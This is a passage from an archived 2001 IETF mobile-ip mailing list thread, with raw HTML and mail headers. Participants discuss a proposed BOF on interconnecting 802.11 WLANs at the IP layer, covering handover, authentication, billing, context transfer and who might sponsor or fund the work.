  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
p.MsoAutoSig, li.MsoAutoSig, div.MsoAutoSig
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
p
	{margin-right:0in;
	mso-margin-top-alt:auto;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
p.para1, li.para1, div.para1
	{mso-style-name:para1;
	margin:0in;
	margin-bottom:.0001pt;
	text-indent:.5in;
	line-height:200%;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";
	mso-bidi-language:HE;}
span.EmailStyle20
	{mso-style-type:personal;
	mso-ansi-font-size:10.0pt;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:navy;}
p.section1, li.section1, div.section1
	{mso-style-name:section1;
	margin-right:0in;
	mso-margin-top-alt:auto;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
span.EmailStyle22
	{mso-style-type:personal-reply;
	mso-ansi-font-size:10.0pt;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:#993366;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1027"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1"/>
 </o:shapelayout></xml><![endif]-->
</head>

<body bgcolor=3Dwhite lang=3DEN-US link=3Dblue vlink=3Dblue =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><span class=3DEmailStyle22><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>I was informed by the chair that we need an AD to sponsor such a =
BOF,
however I don&#8217;t know if any AD is =
interested.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle22><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>Perhaps if an AD is interested, he can get in touch.<o:p></o:p></=
span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle22><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><span class=3DEmailStyle22><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>-Sharif.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle22><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<div style=3D'border:none;border-left:solid black 1.5pt;padding:0in 0in =
0in 4.0pt'>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>No, MIP is not =
sufficient,
in my oppinion. There are many other issues involved when the MN =
changes its AP
from one WLAN to another. <o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


</div>

<div style=3D'border:none;border-left:solid black 1.5pt;padding:0in 0in =
0in 4.0pt'>

<p class=3DMsoNormal =
style=3D'margin-left:39.75pt;text-indent:-.25in;tab-stops:
list .5in;border:none;mso-border-left-alt:solid black =
1.5pt;padding:0in;
mso-padding-alt:0in 0in 0in 4.0pt'><span class=3DEmailStyle20><font =
size=3D2
color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:"Times New Roman";
mso-bidi-font-family:"Times New Roman"'>-</span></font></span><span
class=3DEmailStyle20><font size=3D1 color=3Dnavy><span =
style=3D'font-size:7.0pt;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times =
New Roman";
mso-bidi-font-family:"Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>Fast, seamless handover.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:39.75pt;text-indent:-.25in;tab-stops:
list .5in;border:none;mso-border-left-alt:solid black =
1.5pt;padding:0in;
mso-padding-alt:0in 0in 0in 4.0pt'><span class=3DEmailStyle20><font =
size=3D2
color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:"Times New Roman";
mso-bidi-font-family:"Times New Roman"'>-</span></font></span><span
class=3DEmailStyle20><font size=3D1 color=3Dnavy><span =
style=3D'font-size:7.0pt;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times =
New Roman";
mso-bidi-font-family:"Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>Authentication and =
authorization.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:39.75pt;text-indent:-.25in;tab-stops:
list .5in;border:none;mso-border-left-alt:solid black =
1.5pt;padding:0in;
mso-padding-alt:0in 0in 0in 4.0pt'><span class=3DEmailStyle20><font =
size=3D2
color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:"Times New Roman";
mso-bidi-font-family:"Times New Roman"'>-</span></font></span><span
class=3DEmailStyle20><font size=3D1 color=3Dnavy><span =
style=3D'font-size:7.0pt;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times =
New Roman";
mso-bidi-font-family:"Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>Billing (especially if the two WLANs are controlled by different
operators).<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:39.75pt;text-indent:-.25in;tab-stops:
list .5in;border:none;mso-border-left-alt:solid black =
1.5pt;padding:0in;
mso-padding-alt:0in 0in 0in 4.0pt'><span class=3DEmailStyle20><font =
size=3D2
color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:"Times New Roman";
mso-bidi-font-family:"Times New Roman"'>-</span></font></span><span
class=3DEmailStyle20><font size=3D1 color=3Dnavy><span =
style=3D'font-size:7.0pt;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times =
New Roman";
mso-bidi-font-family:"Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>Context transfer<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:39.75pt;text-indent:-.25in;tab-stops:
list .5in;border:none;mso-border-left-alt:solid black =
1.5pt;padding:0in;
mso-padding-alt:0in 0in 0in 4.0pt'><span class=3DEmailStyle20><font =
size=3D2
color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:"Times New Roman";
mso-bidi-font-family:"Times New Roman"'>-</span></font></span><span
class=3DEmailStyle20><font size=3D1 color=3Dnavy><span =
style=3D'font-size:7.0pt;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times =
New Roman";
mso-bidi-font-family:"Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>Mobility management.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:39.75pt;text-indent:-.25in;tab-stops:
list .5in;border:none;mso-border-left-alt:solid black =
1.5pt;padding:0in;
mso-padding-alt:0in 0in 0in 4.0pt'><span class=3DEmailStyle20><font =
size=3D2
color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:"Times New Roman";
mso-bidi-font-family:"Times New Roman"'>-</span></font></span><span
class=3DEmailStyle20><font size=3D1 color=3Dnavy><span =
style=3D'font-size:7.0pt;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times =
New Roman";
mso-bidi-font-family:"Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>Quality-of-Service.<o:p></o:p></span></font></span></p>

</div>

<div style=3D'border:none;border-left:solid black 1.5pt;padding:0in 0in =
0in 4.0pt'>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Now, the IETF has =
different
protocol for these, but how they fit together into the interworking =
problem
should be looked at.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Also important, is =
to
understand how the L2 functions in the WLANs interoperate with the =
functions in
the IP layer. Perhaps, some functions are better done in L2, while =
others in
the IP layer &#8230;..<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>WLANs are going to =
be
deployed more and more now, in campuses, enterprise networks, and also =
in home
networking. And how to interconnect them is of great =
importance.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Thus, I believe, if =
there
were sufficient interest from people, IETF should consider taking an =
active
role in attempting to understand ALL the issues and decide what (if =
anything)
to do.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle20><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Thus, a BOF session =
on &#8220;Interconnecting
802.11 in IP Layer&#8221;<span style=3D"mso-spacerun: yes">&nbsp; =
</span>is a small
step.</span></font></span><font color=3Dblack><span =
style=3D'color:black;
mso-color-alt:windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span style=3D'color:black;mso-color-alt:windowtext'><o:p>=
</o:p></span></font></p>

</div>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:black'>Shahrier,</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:black'>Is there plans for such a =
BOF?</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:black'>Carl</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'><span style=3D"mso-spacerun:
yes">&nbsp;</span></span></font><font color=3Dblack><span =
style=3D'color:black;
mso-color-alt:windowtext'><o:p></o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C17752.2231FED0--


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 11:41:35 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08570
	for <mobileip-archive@lists.ietf.org>; Tue, 27 Nov 2001 11:41:35 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA28686;
	Tue, 27 Nov 2001 09:39:58 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA17347;
	Tue, 27 Nov 2001 08:39:59 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARGco1V006621
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 08:38:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fARGcnBa006620
	for mobile-ip-dist; Tue, 27 Nov 2001 08:38:49 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARGck1V006613
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 08:38:46 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA17201
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 08:38:47 -0800 (PST)
Received: from charizard.diameter.org (c900656-a.plstn1.sfba.home.com [24.20.167.220])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA12500
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 09:38:47 -0700 (MST)
Received: (qmail 31067 invoked by uid 500); 27 Nov 2001 17:25:56 -0000
Date: Tue, 27 Nov 2001 09:25:55 -0800
From: Pat Calhoun <pcalhoun@diameter.org>
To: john.loughney@nokia.com
Cc: Sharif.Shahrier@InterDigital.com, seamoby@cdma-2000.org,
        mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] Re: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Message-ID: <20011127092555.A31055@charizard.diameter.org>
Mail-Followup-To: john.loughney@nokia.com, Sharif.Shahrier@InterDigital.com,
	seamoby@cdma-2000.org, mobile-ip@sunroof.eng.sun.com
References: <0C1353ABB1DEB74DB067ADFF749C4EEF5D91A3@esebe004.NOE.Nokia.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF5D91A3@esebe004.NOE.Nokia.com>; from john.loughney@nokia.com on Tue, Nov 27, 2001 at 09:21:42AM +0200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Agreed.... but who would fund this activity :(

PatC
On Tue, Nov 27, 2001 at 09:21:42AM +0200, john.loughney@nokia.com wrote:
> Hello all,
> 
> Doesn't this all boil down to the applicability AAA, CT, MIP, NSIS
> for seamless inter-operator, vertical handovers?  :)
> 
> Given the fact that many of the applicable protocols for such
> a solution are not RFCs yet, I would like to suggest that such 
> a solution is very interesting (for sure), but I think the
> IETF would have a hard time standardizing such a beast.
> 
> Rather, I think getting about 10 smart engineers in a room
> together for a couple of months could get a pretty impressive
> demo together.
> 
> John


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 11:48:06 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09042
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 11:48:05 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA19594;
	Tue, 27 Nov 2001 08:46:51 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA15434;
	Tue, 27 Nov 2001 08:45:52 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARGjD1V006731
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 08:45:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fARGjDS6006730
	for mobile-ip-dist; Tue, 27 Nov 2001 08:45:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARGj91V006723
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 08:45:10 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA04073
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 08:45:11 -0800 (PST)
Received: from charizard.diameter.org (c900656-a.plstn1.sfba.home.com [24.20.167.220])
	by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA03385
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 09:44:53 -0700 (MST)
Received: (qmail 31664 invoked by uid 500); 27 Nov 2001 17:32:20 -0000
Date: Tue, 27 Nov 2001 09:32:19 -0800
From: Pat Calhoun <pcalhoun@diameter.org>
To: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
Cc: "'Carl Williams'" <carlw@docomolabs-usa.com>,
        mobile-ip@sunroof.eng.sun.com, seamoby@cdma-2000.org
Subject: Re: [mobile-ip] RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Message-ID: <20011127093219.E31055@charizard.diameter.org>
Mail-Followup-To: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>,
	'Carl Williams' <carlw@docomolabs-usa.com>,
	mobile-ip@sunroof.eng.sun.com, seamoby@cdma-2000.org
References: <A1170612471BD21185B90008C7FA0A0D0327F9C0@idcpa4.pa.interdigital.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <A1170612471BD21185B90008C7FA0A0D0327F9C0@idcpa4.pa.interdigital.com>; from Sharif.Shahrier@InterDigital.com on Tue, Nov 27, 2001 at 09:45:18AM -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

I'd recommend you send a proposed charter to Allison Mankin (mankin@isi.edu)

PatC
On Tue, Nov 27, 2001 at 09:45:18AM -0500, Shahrier, Sharif M. wrote:
> I was informed by the chair that we need an AD to sponsor such a BOF,
> however I don't know if any AD is interested.
> Perhaps if an AD is interested, he can get in touch.
>  
> -Sharif.
>  
> No, MIP is not sufficient, in my oppinion. There are many other issues
> involved when the MN changes its AP from one WLAN to another. 
>  
> -          Fast, seamless handover.
> -          Authentication and authorization.
> -          Billing (especially if the two WLANs are controlled by different
> operators).
> -          Context transfer
> -          Mobility management.
> -          Quality-of-Service.
>  
> Now, the IETF has different protocol for these, but how they fit together
> into the interworking problem should be looked at.
>  
> Also important, is to understand how the L2 functions in the WLANs
> interoperate with the functions in the IP layer. Perhaps, some functions are
> better done in L2, while others in the IP layer .....
>  
> WLANs are going to be deployed more and more now, in campuses, enterprise
> networks, and also in home networking. And how to interconnect them is of
> great importance.
>  
> Thus, I believe, if there were sufficient interest from people, IETF should
> consider taking an active role in attempting to understand ALL the issues
> and decide what (if anything) to do.
>  
> Thus, a BOF session on "Interconnecting 802.11 in IP Layer"  is a small
> step.
>  
> Shahrier,
>  
> Is there plans for such a BOF?
>  
> Carl
>  
>  


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 12:43:03 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12711
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 12:43:02 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA22092;
	Tue, 27 Nov 2001 10:40:57 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA26894;
	Tue, 27 Nov 2001 09:40:53 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARHe01V006950
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 09:40:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fARHdxxH006949
	for mobile-ip-dist; Tue, 27 Nov 2001 09:39:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARHdu1V006942
